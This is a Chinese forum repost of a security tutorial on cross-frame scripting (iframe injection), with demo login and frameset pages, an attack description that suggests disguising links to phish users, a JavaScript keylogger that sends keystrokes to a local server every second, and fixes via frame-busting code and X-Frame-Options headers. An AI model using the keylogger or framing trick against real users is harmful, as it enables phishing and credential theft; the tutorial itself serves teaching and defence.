搜索

[312] 2019-09-18_XFS框架脚本漏洞介绍

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-16
2019-09-18_XFS框架脚本漏洞介绍 X F S 框 架 脚 本 漏 洞 介 绍 发 哥 微 课 堂   a F a 攻 防 实 验 室   2 0 1 9 - 0 9 - 1 8 ※   介 绍 介 绍   ※ X F S 即 C r o s s - F r a m e S c r i p t i n g 跨 框 架 脚 本 ， 也 叫 i F r a m e 注 入 ， 了 解 X F S 问 题 前 先 来 看 下 面 这 个 小 例 子 ， 有 如 下 一 段 h t m l 代 码 。 < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < m e t a   c h a r s e t = " u t f - 8 " > < t i t l e > < / t i t l e > < s c r i p t > f u n c t i o n   c h e c k ( ) {         i f   ( w i n d o w . t o p ! = w i n d o w . s e l f )   {                 a l e r t ( “ 这 个 窗 口 不 是 最 顶 层 窗 口 ! 我 在 一 个 框 架 中 " ) ;         }         e l s e {                 a l e r t   ( " 这 个 窗 口 是 最 顶 层 窗 口 !   " ) ;         } } < / s c r i p t > < / h e a d > < f o r m >     < h 1 > T e s t < / h 1 >     < b r / > < h r / > < b r / >     u s e r n a m e ： < i n p u t   t y p e = " t e x t "   n a m e = " u s e r n a m e " > < b r / > < b r / >     p a s s w o r d ： < i n p u t   t y p e = " p a s s w o r d "   n a m e = " p a s s w o r d " > < b r / > < b r / >     < i n p u t   t y p e = " s u b m i t "   n a m e = " s u b m i t " > & n b s p ; & n b s p ; & n b s p ; & n b s p ; & n b s p ; & n b s p ;
例 如 一 个 网 站 的 登 录 功 能 ， 这 里 为 了 举 例 ， 我 们 添 加 了 一 个 检 查 窗 口 的 按 钮 ， 点 击 后 会 执 行 c h e c k 函 数 ， c h e c k 用 来 检 测 当 前 页 面 运 行 窗 口 是 否 为 顶 部 窗 口 。   在 一 个 h t m l 页 面 中 ， 可 能 存 在 多 个 f r a m e 框 架 ， t o p 指 顶 层 框 架 ， 即 第 一 层 ， s e l f 指 的 是 当 前 的 窗 口 。   这 时 运 行 此 页 面 ， 因 为 页 面 并 没 有 嵌 入 到 f r a m e 框 架 中 ， 所 以 是 最 顶 层 的 窗 口 ， 运 行 结 果 如 下 。 我 们 再 来 看 下 嵌 入 到 框 架 中 的 样 子 ， 例 如 下 面 的 h t m l 代 码 ， 加 入 了 f r a m e 框 架 ， 将 上 面 的 1 . h t m l 进 行 了 引 入 。 此 时 运 行 这 个 2 . h t m l ， 页 面 内 容 和 1 . h t m l 一 样 ， 执 行 检 查 窗 口 运 行 结 果 如 下 。     < i n p u t   t y p e = " s u b m i t "   n a m e = " s u b m i t " > & n b s p ; & n b s p ; & n b s p ; & n b s p ; & n b s p ; & n b s p ;     < i n p u t   t y p e = " b u t t o n "   o n c l i c k = " c h e c k ( ) "   v a l u e = " 检 查 窗 口 " > < / f o r m > < / h t m l > < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < m e t a   c h a r s e t = " u t f - 8 " > < t i t l e > < / t i t l e > < / h e a d > < f r a m e s e t   o n l o a d = " t h i s . f o c u s ( ) ; "   o n b l u r = " t h i s . f o c u s ( ) ; "   c o l s = " 1 0 0 % " >     < f r a m e   s r c = " h t t p : / / l o c a l h o s t / 1 . h t m l "   s c r o l l i n g = " a u t o " > < / f r a m e s e t > < / h t m l >
※   攻 击 方 式 攻 击 方 式   ※ 了 解 上 面 现 象 后 ， 攻 击 方 式 很 简 单 ， 也 就 是 我 们 将 攻 击 目 标 的 U R L 引 入 框 架 中 ， 发 送 给 目 标 用 户 ， 诱 骗 其 点 击 即 可 ， 对 于 我 们 自 己 的 攻 击 地 址 可 以 使 用 类 似 域 名 、 短 链 接 等 等 方 式 增 加 迷 惑 性 。 造 成 的 危 害 主 要 是 钓 鱼 ， 数 据 和 身 份 的 窃 取 ， 例 如 以 下 代 码 ， 我 们 在 2 . h t m l 中 加 入 了 一 段 J S ， J S 每 隔 一 秒 会 将 用 户 的 按 键 信 息 发 送 给 自 己 。 ※   修 复 方 式 修 复 方 式   ※ < s c r i p t >     v a r   k e y s t r o k e s   =   [ ] ;     / / 监 听 用 户 按 键     d o c u m e n t . o n k e y p r e s s   =   f u n c t i o n ( ) {         k e y s t r o k e s . p u s h ( w i n d o w . e v e n t . k e y C o d e ) ;     }     / / 每 秒 一 次 向 指 定 的 服 务 器 发 送 按 键     s e t I n t e r v a l ( f u n c t i o n ( ) {         i f ( k e y s t r o k e s . l e n g t h ) {             v a r   x h r   =   n e w X H R ( ) ;             x h r . o p e n ( " P O S T " , " h t t p : / / l o c a l h o s t / 1 . p h p " ) ;             x h r . s e n d ( k e y s t r o k e s . j o i n ( " + " ) ) ;         }         k e y s t r o k e s   =   [ ] ;     } , 1 0 0 0 ) ;     / / a j a x 请 求 函 数     f u n c t i o n   n e w X H R ( ) {         i f ( w i n d o w s . X M L H t t p R e q u e s t ) {             r e t u r n   n e w   X M L H t t p R e q u e s t ( ) ;         }         r e t u r n   n e w   A c t i v e X O b j e c t ( " M S X M L 2 . X M L H T T P . 3 . 0 " ) ;     } < / s c r i p t >
修 复 方 式 我 们 可 以 直 接 从 J S 上 来 弥 补 ， 例 如 直 接 判 断 当 前 窗 口 是 否 为 顶 层 窗 口 ， 如 果 存 在 框 架 中 可 直 接 进 行 替 换 ， 示 例 代 码 如 下 。 在 1 . h t m l 中 加 入 此 段 代 码 后 ， 访 问 2 . h t m l 会 直 接 跳 转 到 1 . h t m l   除 此 外 还 有 一 个 修 复 方 式 就 是 给 相 应 头 添 加 X - F r a m e - O p t i o n s 字 段 ， 它 用 来 告 诉 浏 览 器 页 面 中 是 否 可 以 存 在 < f r a m e > 、 < i f r a m e > 、 < e m b e d > 、 < o b j e c t > 标 记 ， X - F r a m e - O p t i o n s 有 三 个 值 可 选 ， 1 ， D E N Y ： 无 论 如 何 不 允 许 显 示 。 2 ， S A M E O R I G I N ： 仅 允 许 同 源 域 名 下 显 示 。 3 ， A L L O W - F R O M   U R I ： 仅 在 指 定 的 域 名 下 显 示 ， 示 例 如 下 。 这 里 以 A p a c h e 为 例 ， 修 改 配 置 文 件 开 启 L o a d M o d u l e   h e a d e r s _ m o d u l e m o d u l e s / m o d _ h e a d e r s . s o 模 块 ， 然 后 添 加 H e a d e r   a l w a y s a p p e n d   X - F r a m e - O p t i o n s   D E N Y ， 重 启 后 访 问 2 . h t m l 可 以 看 到 没 有 任 何 内 容 ， 运 行 如 下 。 以 上 就 是 关 于 X F S 框 架 脚 本 漏 洞 的 介 绍 。 欢 迎 将 文 章 分 享 到 朋 友 圈   如 果 想 g e t 更 多 的 技 能 ， 长 按 二 维 码 可 关 注 我 i f ( t o p   ! =   s e l f ) {         t o p . l o c a t i o n   =   s e l f . l o c a t i o n ; } X - F r a m e - O p t i o n s :   d e n y X - F r a m e - O p t i o n s :   s a m e o r i g i n X - F r a m e - O p t i o n s :   a l l o w - f r o m   h t t p s : / / e x a m p l e . c o m /

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理